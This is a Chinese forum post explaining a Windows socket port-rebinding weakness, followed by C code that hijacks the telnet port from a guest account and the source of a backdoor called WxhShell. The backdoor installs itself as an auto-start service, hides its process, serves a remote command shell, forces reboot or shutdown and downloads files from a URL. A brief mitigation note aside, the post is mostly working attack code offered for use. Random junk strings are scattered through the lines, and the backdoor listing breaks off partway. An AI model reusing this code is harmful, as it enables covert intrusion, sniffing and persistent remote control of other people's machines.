社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14045阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Qcu1&t\C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y\Z7]LHCqw  
F9q<MTh  
  saddr.sin_family = AF_INET; =iy%;>I `  
e:IUO1#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ))}w;w   
p=6Q0r|'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #SQao;>  
=LHE_ AA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U/E M(y  
S?nXpYr  
  这意味着什么?意味着可以进行如下的攻击: uzL)qH$b  
nG&= $7x^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HK>!%t0S  
t^. U<M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <5MnF  
+)Tt\Q%7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hep]jxp+  
n{j14b'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FbQ"ZTN\;Y  
<#w0=W?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O3#4B!J$E  
[ aj F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JB(~O`  
A?8f 6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _wp6rb:8!  
zN JK+_O=  
  #include xqv4gN6  
  #include siw } }}  
  #include > Zo_-,  
  #include    ~}|)@,N'bm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $6 \v1  
  int main() %qRbl4  
  { Sf[ZGY)  
  WORD wVersionRequested; aS?A3h4WM_  
  DWORD ret; U<fe 'd  
  WSADATA wsaData; s"`uE$6N  
  BOOL val; :.6kXX'~  
  SOCKADDR_IN saddr; 'mj0+c$  
  SOCKADDR_IN scaddr; 1HxE0>  
  int err; j}Lt"r2F  
  SOCKET s; |xyN#wi  
  SOCKET sc; JnH>L|G{;%  
  int caddsize; 1Qui.],c  
  HANDLE mt; ~p<o":k+Lv  
  DWORD tid;   /g2(<  
  wVersionRequested = MAKEWORD( 2, 2 ); x/47e8/  
  err = WSAStartup( wVersionRequested, &wsaData ); GQ ZEMy7  
  if ( err != 0 ) { NK]X="`  
  printf("error!WSAStartup failed!\n"); aH'Sz'|E  
  return -1; Z8tQ#Pu{  
  } :9q=o|T6D  
  saddr.sin_family = AF_INET; #4_'%~-e  
   zb Z0BD7e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \D>vdn"Lx  
]N}80*Rl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g@hg u   
  saddr.sin_port = htons(23); Az[Yvu'<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !vHUe*1a{  
  { Q+gd|^Vc9  
  printf("error!socket failed!\n"); 1 *'SP6g  
  return -1; U)a}XRS  
  } x|n2,3%  
  val = TRUE; IZBU<1M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p't>'?UH|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |,L_d2lb  
  { !VU[=~  
  printf("error!setsockopt failed!\n"); +CtsD9PA  
  return -1; .%;UP7g  
  } d:}aFP[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /10 I}3D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \Fj$^I>C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L,V\g^4$K  
<Hl.MS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v.H00}[.  
  { ,  A?o  
  ret=GetLastError(); wmdvAMN  
  printf("error!bind failed!\n"); udM<jY]5p  
  return -1; XZhuV<  
  } iZ2|/hnw  
  listen(s,2); &S9Sl  
  while(1) 9cud CF  
  { zz3Rld!b[  
  caddsize = sizeof(scaddr); j+NOT`&  
  //接受连接请求 (( F[]<?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1?sR1du,  
  if(sc!=INVALID_SOCKET) hK*:pf  
  { z8FeL5.(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yg\bCvL&  
  if(mt==NULL) = 7pLU+ u  
  { FI{9k(  
  printf("Thread Creat Failed!\n"); xTNWT_d  
  break; #n5q$  
  } k/hE68<6i  
  } CS2AKa@`  
  CloseHandle(mt); qwJeeax  
  } H/'tSb  
  closesocket(s); >7. $=y8b  
  WSACleanup(); ;*ebq'D([  
  return 0; B]~#+rMK  
  }   `G> 6  
  DWORD WINAPI ClientThread(LPVOID lpParam) cN_e0;*Ua  
  { \xJTsdd  
  SOCKET ss = (SOCKET)lpParam; /Ps}IW  
  SOCKET sc; pfsRV]  
  unsigned char buf[4096]; fl>*>)6pm  
  SOCKADDR_IN saddr; @/i{By^C  
  long num; cLR02  
  DWORD val; ;i?Ao:]  
  DWORD ret; ?XO$ 9J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~Q%C>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #?L%M  
  saddr.sin_family = AF_INET; :[P>e ox  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {` Bgxejf  
  saddr.sin_port = htons(23); '^ "6EF.R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F M:ax{  
  { ^;4nHH7z-,  
  printf("error!socket failed!\n"); v+dt1;  
  return -1; (%]&Pe]  
  } QWG?^T fi  
  val = 100; i~:FlW]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V4'G%!NY  
  { "mr;|$Y  
  ret = GetLastError(); i3g;B?54  
  return -1; 9NLO{kN  
  } {FyGh */  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) os*QWSs  
  { |9. `qv  
  ret = GetLastError(); 0p\R@{  
  return -1; fXCx!3m  
  } Zo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _=@9XvNM  
  { $$8xdv#  
  printf("error!socket connect failed!\n"); f!2`N  
  closesocket(sc); w A<JJ_R  
  closesocket(ss); L/9f"%kZ  
  return -1; uV?[eiezD0  
  } R06q~ >  
  while(1) Qag@#!&n  
  { E8#r<=(m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  so_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +o})Cs`|=A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g(m3 &  
  num = recv(ss,buf,4096,0); \NwL#bQ~  
  if(num>0) v&oE!s#  
  send(sc,buf,num,0); ?'uxYeX6  
  else if(num==0) .n]P6t  
  break; NidG|Yg~Z  
  num = recv(sc,buf,4096,0); 8$}1|"F  
  if(num>0) :9!? ${4R  
  send(ss,buf,num,0); ]p>6r*/nw  
  else if(num==0) 6'd=% V  
  break; JK0L&t<  
  } {#YGor|  
  closesocket(ss); $>zLa_cn|  
  closesocket(sc); =B O} hk  
  return 0 ; p|VoIQY  
  } DPR=Xls  
Cn4o^6?"  
eKV^ia  
========================================================== NltEX14Af  
TIlBT{A<  
下边附上一个代码,,WXhSHELL b?`8-g  
z1A[rbe=4w  
========================================================== _uU}J5d.  
~3 4Ly  
#include "stdafx.h" ]5b%r;_  
%IGcn48J  
#include <stdio.h> lgp-/O"T  
#include <string.h> ZVu&q{s,  
#include <windows.h> .nX+!EXeS  
#include <winsock2.h> PEZ~og:w  
#include <winsvc.h> lAuI?/E  
#include <urlmon.h> P_)h8-!+ $  
Ftu~nh}  
#pragma comment (lib, "Ws2_32.lib") l?E7'OEF:  
#pragma comment (lib, "urlmon.lib") (.Yt| "j  
Q.: SIBP  
#define MAX_USER   100 // 最大客户端连接数 Yy]^_,r  
#define BUF_SOCK   200 // sock buffer D/pc)3Ofe  
#define KEY_BUFF   255 // 输入 buffer }WXO[ +l  
g|_-O" l  
#define REBOOT     0   // 重启 Kj;gxYD>6  
#define SHUTDOWN   1   // 关机 HH/ bBM!  
A\J|eSG'$  
#define DEF_PORT   5000 // 监听端口 {~7V A  
KsI[  
#define REG_LEN     16   // 注册表键长度 ((L=1]w  
#define SVC_LEN     80   // NT服务名长度 "1P8[  
gE8p**LT+  
// 从dll定义API sp*_;h3'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {iiHeSD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jeM %XI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n |5+HE4@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4r5trquC  
!uoU 8Ki9  
// wxhshell配置信息 3 " fBp  
struct WSCFG { }Jkz0JY~  
  int ws_port;         // 监听端口 "C 7-^R#  
  char ws_passstr[REG_LEN]; // 口令 m }I@:s2  
  int ws_autoins;       // 安装标记, 1=yes 0=no '&4W@lvyz  
  char ws_regname[REG_LEN]; // 注册表键名 L2:v#c()#)  
  char ws_svcname[REG_LEN]; // 服务名 ;~Y0H9`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P wL]v.:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d>@&[C!28  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "i/ l'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oi# F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xu[6h?u(h8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8/cD7O  
Y(QLlJ*)/  
}; Ia-`x/r*m  
E'qGKT  
// default Wxhshell configuration >g8H  
struct WSCFG wscfg={DEF_PORT, D.?Rc'y D  
    "xuhuanlingzhe", 9C[i#+_3M  
    1, B;.]<k'3  
    "Wxhshell", `0a=A#]1o  
    "Wxhshell", /Zs;dam  
            "WxhShell Service", 1s5F jD?M  
    "Wrsky Windows CmdShell Service", lJHV c"*/  
    "Please Input Your Password: ", ^b)8l  
  1, g/Q hI  
  "http://www.wrsky.com/wxhshell.exe", ]#>;C:L  
  "Wxhshell.exe" 8$</HNu,  
    }; tVJ}NI #  
?g*#l d()  
// 消息定义模块 3B|?{U~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s"5f5Cn/Wh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xk=bb267  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]A)`I  
char *msg_ws_ext="\n\rExit."; kGbtZ} W  
char *msg_ws_end="\n\rQuit."; d%tF~|#A%  
char *msg_ws_boot="\n\rReboot..."; K^0cL%dB  
char *msg_ws_poff="\n\rShutdown..."; KICy! "af  
char *msg_ws_down="\n\rSave to "; aq/'2U 7  
tHgn-Dhzr  
char *msg_ws_err="\n\rErr!"; ge*(w{|x  
char *msg_ws_ok="\n\rOK!"; +RLHe]9&  
\[</|]'[  
char ExeFile[MAX_PATH]; =ZdP0l+V=k  
int nUser = 0; 7!.#:+rg5#  
HANDLE handles[MAX_USER]; QR4!r@*=  
int OsIsNt; ?2h)w=dO  
D=*3Xd  
SERVICE_STATUS       serviceStatus; /~`4a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [7d>c  
26n+v(re  
// 函数声明 2S'{$m)  
int Install(void); @64PdM!L  
int Uninstall(void); 20glz(  
int DownloadFile(char *sURL, SOCKET wsh); t# cm |  
int Boot(int flag); .ET@J`"M  
void HideProc(void); $kPC"!X\  
int GetOsVer(void); >|h$d:~n  
int Wxhshell(SOCKET wsl); 8BP.VxX  
void TalkWithClient(void *cs); Ak(_![Q:q\  
int CmdShell(SOCKET sock); >jI( ^8?  
int StartFromService(void); yTj!(C  
int StartWxhshell(LPSTR lpCmdLine); .Y!] {c  
p'PHBb8I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aH6{_eY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]ADj 9  
Y![m'q}K  
// 数据结构和表定义 ,S.<qmf  
SERVICE_TABLE_ENTRY DispatchTable[] = r)S tp`p  
{ #NU;$ &  
{wscfg.ws_svcname, NTServiceMain}, WDznhMo  
{NULL, NULL} b[}f]pB@n  
}; 1u4)  
R%7* )3$&r  
// 自我安装 9a_B   
int Install(void) ,l}mCY  
{ Vgzw['L}  
  char svExeFile[MAX_PATH]; p(B> N!:  
  HKEY key; 1CS[%)-c  
  strcpy(svExeFile,ExeFile); 3q +C8_:  
a%R'x]  
// 如果是win9x系统,修改注册表设为自启动 ;+pS-Zb 6  
if(!OsIsNt) { N>8p A)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z4+S4cqnh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ce3w0UeV  
  RegCloseKey(key); cWG>w6FI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VRr_s:CWK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $#|iKi<Y@j  
  RegCloseKey(key); R+}x#  
  return 0; \^=Wp'5R  
    } or2BG&W  
  } X~ca8!Dq  
} 3=r#=u5z  
else { 4dv5  
){ywk  
// 如果是NT以上系统,安装为系统服务 $nX4!X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $F> #1:=v<  
if (schSCManager!=0) _ ," -25a  
{ cE}y~2cH  
  SC_HANDLE schService = CreateService tG1,AkyZ  
  ( y_aKW4L+  
  schSCManager, gWlv;oq  
  wscfg.ws_svcname, NI(fJ%U  
  wscfg.ws_svcdisp, 'FVh/};Y.D  
  SERVICE_ALL_ACCESS, ^.']-XjC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :Bk!YK  
  SERVICE_AUTO_START, '<(S*&s  
  SERVICE_ERROR_NORMAL, G-5wv  
  svExeFile, *Ru@F:  
  NULL, !Db 0r/_:G  
  NULL, ^;on  
  NULL, ?|Q[QP  
  NULL, _oOE MQb  
  NULL 9wR-0E )  
  ); vkFfHzR$  
  if (schService!=0) Ww(($e!  
  { <>!Y[Xr^  
  CloseServiceHandle(schService); 8&q|*/2  
  CloseServiceHandle(schSCManager); 2|J>e(&akY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F_KPhe$  
  strcat(svExeFile,wscfg.ws_svcname); kzZdYiC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N*d )<8_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D%PrwfR  
  RegCloseKey(key); r&^LSTU0!  
  return 0; %O9kq  
    } +o{]0~ y  
  } CYIp 3D'k  
  CloseServiceHandle(schSCManager); uU_0t;oR3  
} l| / tKW  
} \W"N{N  
qs$%/  
return 1; < 0S+[7S"  
} jt({@;sU[<  
RPb/U8  
// 自我卸载 Vfm (K  
int Uninstall(void) &`` dI,NC  
{ f T7Z6$  
  HKEY key; `R}q&|o7<  
axf4N@  
if(!OsIsNt) { /CpU.^V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DA>_9o/l  
  RegDeleteValue(key,wscfg.ws_regname); L;wfTZa  
  RegCloseKey(key); SZGeF;N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D{b*,F:&@)  
  RegDeleteValue(key,wscfg.ws_regname); N$Pi4  
  RegCloseKey(key); ?kOtK  
  return 0; B.zRDB}i=  
  } >Ln/)j  
} I/whpOg  
} yJ(BPSt  
else { >U.)?>G/dt  
E=Z;T   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P!;%DI!<b  
if (schSCManager!=0) SV-M8Im73z  
{ QG~4 <zy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v0~'`*|&  
  if (schService!=0) wUnz D)  
  { SONv] ));  
  if(DeleteService(schService)!=0) { \ C^fi}/]  
  CloseServiceHandle(schService); n|G x29 E  
  CloseServiceHandle(schSCManager); Y}G9(Ci&  
  return 0; [K(|V  
  } *pu ,|  
  CloseServiceHandle(schService); };rxpw>ms  
  } +/">]QJ  
  CloseServiceHandle(schSCManager); %t*_Rtz\o  
} mM6g-)cV  
} {*/&`$0lH|  
g;N)K3\2  
return 1; 80i-)a\n  
} ;<aT| 4  
Zd2B4~V  
// 从指定url下载文件 Mqy5>f)  
int DownloadFile(char *sURL, SOCKET wsh) |sQC:y>  
{ %'}zr>tx:  
  HRESULT hr; hJuR,NP  
char seps[]= "/"; \KBE+yj  
char *token; ~/R,oQ1!g}  
char *file; O'<5PwhG  
char myURL[MAX_PATH]; x,f=J4yco  
char myFILE[MAX_PATH]; =dVPx<l5  
<!+T#)Qi  
strcpy(myURL,sURL); 03]   
  token=strtok(myURL,seps); L4fM?{Ic:s  
  while(token!=NULL) 8T:?C~"  
  { x.=Np\#\G-  
    file=token; `s0`kp  
  token=strtok(NULL,seps); RW4}n< 88  
  } \Lp|S:u  
}8H_^G8  
GetCurrentDirectory(MAX_PATH,myFILE); 4 _*^~w  
strcat(myFILE, "\\"); !B&OK&*  
strcat(myFILE, file); M Y2=lT  
  send(wsh,myFILE,strlen(myFILE),0); a>3#z2#  
send(wsh,"...",3,0); 0|1)cO}Dy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~OuKewr\  
  if(hr==S_OK)  73:y&U  
return 0; NU>'$s  
else )<fa1Gz#^  
return 1; [8-. T4  
15o<'4|=Lm  
} Gxtqzr*  
v-(Ry<fT9  
// 系统电源模块 *bi!iz5F  
int Boot(int flag) *.4VO+^  
{ &, =Z  
  HANDLE hToken; COV8=E~  
  TOKEN_PRIVILEGES tkp; |)"`v'8>  
OKXELP  
  if(OsIsNt) { ?9Lp@k~TO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P^wDt14>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y:C=Ni&,"  
    tkp.PrivilegeCount = 1; A/WmVv6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1MntTIT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^)qOILn  
if(flag==REBOOT) { NuL.l__W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )SX2%&N  
  return 0; B)q 5m y  
} 676r0`  
else { Thlqe?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N ,8^AUJ3&  
  return 0; _LVi}mM  
} f Fr[ &\[  
  } ?h7,q*rxk  
  else { X&s@S5=r]  
if(flag==REBOOT) { dX720/R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y4j J&  
  return 0; jrF#DDH?I  
} /h.hFM/  
else { |%V-|\GJ~j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g>@T5&1q*  
  return 0; z0yPBt1W  
} l\Q--  
} W8@o7svrh  
M%U1?^j8  
return 1; +2qCH^80  
} | Ns-l (l  
E`M, n ,  
// win9x进程隐藏模块 n`W7g@Sg#I  
void HideProc(void) Rxl )[\A*  
{ `$fKS24u  
^V5VRGq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]J] ~i[  
  if ( hKernel != NULL ) \dB)G<_  
  { ,V>7eQt?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bL6, fUS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w &b?ze{  
    FreeLibrary(hKernel); :u ruC  
  } _J N$zZ{  
B&bQvdp  
return; "8BZj;yS  
} jDyG~de  
UWf@(8  
// 获取操作系统版本 NFAjh?#  
int GetOsVer(void) $,s"c(pv[,  
{ [v,Y-}wQ)  
  OSVERSIONINFO winfo; t'7A-K=k3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vrGx<0$  
  GetVersionEx(&winfo); OYbgt4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZcP/rT3{^  
  return 1; (^U 8wit/  
  else \DgWp:|  
  return 0; gq:2`W&5  
} kuQ+MQHs  
hFLLg|@  
// 客户端句柄模块 /:BM]K  
int Wxhshell(SOCKET wsl) q]^Q?r<g::  
{ V\2&?#GZ  
  SOCKET wsh; qs Uob   
  struct sockaddr_in client; 2k}8`P;  
  DWORD myID; <,X?+hr  
+~ZFao qf  
  while(nUser<MAX_USER) oiKY2.yW  
{ n[`KhRN  
  int nSize=sizeof(client); #_U[ T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JKJ+RkXf3  
  if(wsh==INVALID_SOCKET) return 1; It@1!_tO2  
MlVVST  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u?a4v\  
if(handles[nUser]==0) GcHy`bQbiX  
  closesocket(wsh); 5 `Mos  
else ]ssX,1#Xh  
  nUser++; 5Mb5t;4b  
  } xO` `X<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K'DRX85F  
F?3zw4Vt~  
  return 0; HOPi2nf{  
} @`D`u16]i  
?T (@<T  
// 关闭 socket N H$!<ffz  
void CloseIt(SOCKET wsh) 5@3hb]J  
{ ej^pFo  
closesocket(wsh); k2@|fe  
nUser--; v;_k*y[VV$  
ExitThread(0); >'MT]@vez  
} 0CtPq`!  
Y`tv"v2  
// 客户端请求句柄 k O8W>  
void TalkWithClient(void *cs) \c .^^8r  
{ ;q ;}2  
K7jz*|2  
  SOCKET wsh=(SOCKET)cs; j 56Dt_  
  char pwd[SVC_LEN]; ` yXJaTbo  
  char cmd[KEY_BUFF]; exfJm'R?n  
char chr[1]; )r +o51gp  
int i,j; q'zV9  
/bBFPrW  
  while (nUser < MAX_USER) { G*].g['  
,|Xibfw  
if(wscfg.ws_passstr) { { d*?O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cCWk^lF],  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~A-1x!YiU  
  //ZeroMemory(pwd,KEY_BUFF); M<KWx'uV  
      i=0; aplOo[  
  while(i<SVC_LEN) { :TTZ@ q  
^~65M/  
  // 设置超时 S(Ej: H  
  fd_set FdRead; ,!{/Y7PmJ  
  struct timeval TimeOut; $Lf-Gi  
  FD_ZERO(&FdRead); rT}k[  
  FD_SET(wsh,&FdRead); :"utFBO  
  TimeOut.tv_sec=8; Obl,Qa:5  
  TimeOut.tv_usec=0; 5Y}=,v*h}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZR"BxE0_k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5j S8{d0  
|OVD*A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +|OrV'  
  pwd=chr[0]; NR@n%p  
  if(chr[0]==0xd || chr[0]==0xa) { }o  {6  
  pwd=0; gb clk~kX  
  break; ]u(EEsG/  
  } >i:h dcxe  
  i++; G|,'6|$jE  
    } F/(z3Kf  
<lxE^M  
  // 如果是非法用户,关闭 socket c7[+gc5}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JS:AHJSz  
} X7~AqG  
l^"HcP6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F ~O}@e{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]DV=/RpJ9B  
+:#x!i;W8[  
while(1) { aIsT"6A~{  
D) my@W0,  
  ZeroMemory(cmd,KEY_BUFF); QaAWO  
'nR'o /!  
      // 自动支持客户端 telnet标准   <6(&w9WY  
  j=0; Co%EJb"tk  
  while(j<KEY_BUFF) { 8G6[\P3fQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2TxHY|4  
  cmd[j]=chr[0]; dEuts*@ Q  
  if(chr[0]==0xa || chr[0]==0xd) { #y4+O;{  
  cmd[j]=0; Ki_8g  
  break; O*%@(w6  
  } ',g'Tl^E  
  j++; <8_~60  
    } j1 Q"s(  
p\&Lbuzv  
  // 下载文件 q%H#04Yh  
  if(strstr(cmd,"http://")) { <JyF5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S7fX1y[  
  if(DownloadFile(cmd,wsh)) u+ ?Wm40E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2xEG s Q  
  else )t#v55M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ja_.{Zv  
  } [$bK%W{f  
  else { ivb?B,Lz0  
K>a+-QWK3  
    switch(cmd[0]) { "{igrl8  
  \dzHG/e  
  // 帮助 =8!FY"c*  
  case '?': { Munal=wL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3gcDc~~=  
    break; F4|Z:e,Hr  
  } B{^ojV;]m  
  // 安装 G7yR&x^  
  case 'i': { m[t4XK  
    if(Install()) btV Tt5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m\];.Da  
    else ~t` uq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -T0@b8  
    break; &LD=Zp%  
    } 9BA*e-[  
  // 卸载 [IgB78_$  
  case 'r': { ^ rB7&96C,  
    if(Uninstall()) 2[; 4D/`*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GqT 0SP  
    else jLy3c@Dp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MkCq$MA  
    break;  erW[q  
    } mTsl"A>  
  // 显示 wxhshell 所在路径 X-$\DXRIo  
  case 'p': { M ~uX!bDH  
    char svExeFile[MAX_PATH]; ?;dfA/  
    strcpy(svExeFile,"\n\r"); `7))[._  
      strcat(svExeFile,ExeFile); JO^E x1c  
        send(wsh,svExeFile,strlen(svExeFile),0); y_F{C 9KE  
    break; {f9jK@%Gy  
    } E Pgn2[z  
  // 重启 !B#Lea  
  case 'b': { "B~ow{3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1;Dug  
    if(Boot(REBOOT)) *NEA(9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zc<fopih  
    else { 0<{zW%w  
    closesocket(wsh); <Z -d5D>  
    ExitThread(0); c2aW4 TX2  
    } g+xA0qW  
    break; Gd]!D~[1  
    } o_K. +^$  
  // 关机 < SIe5" {  
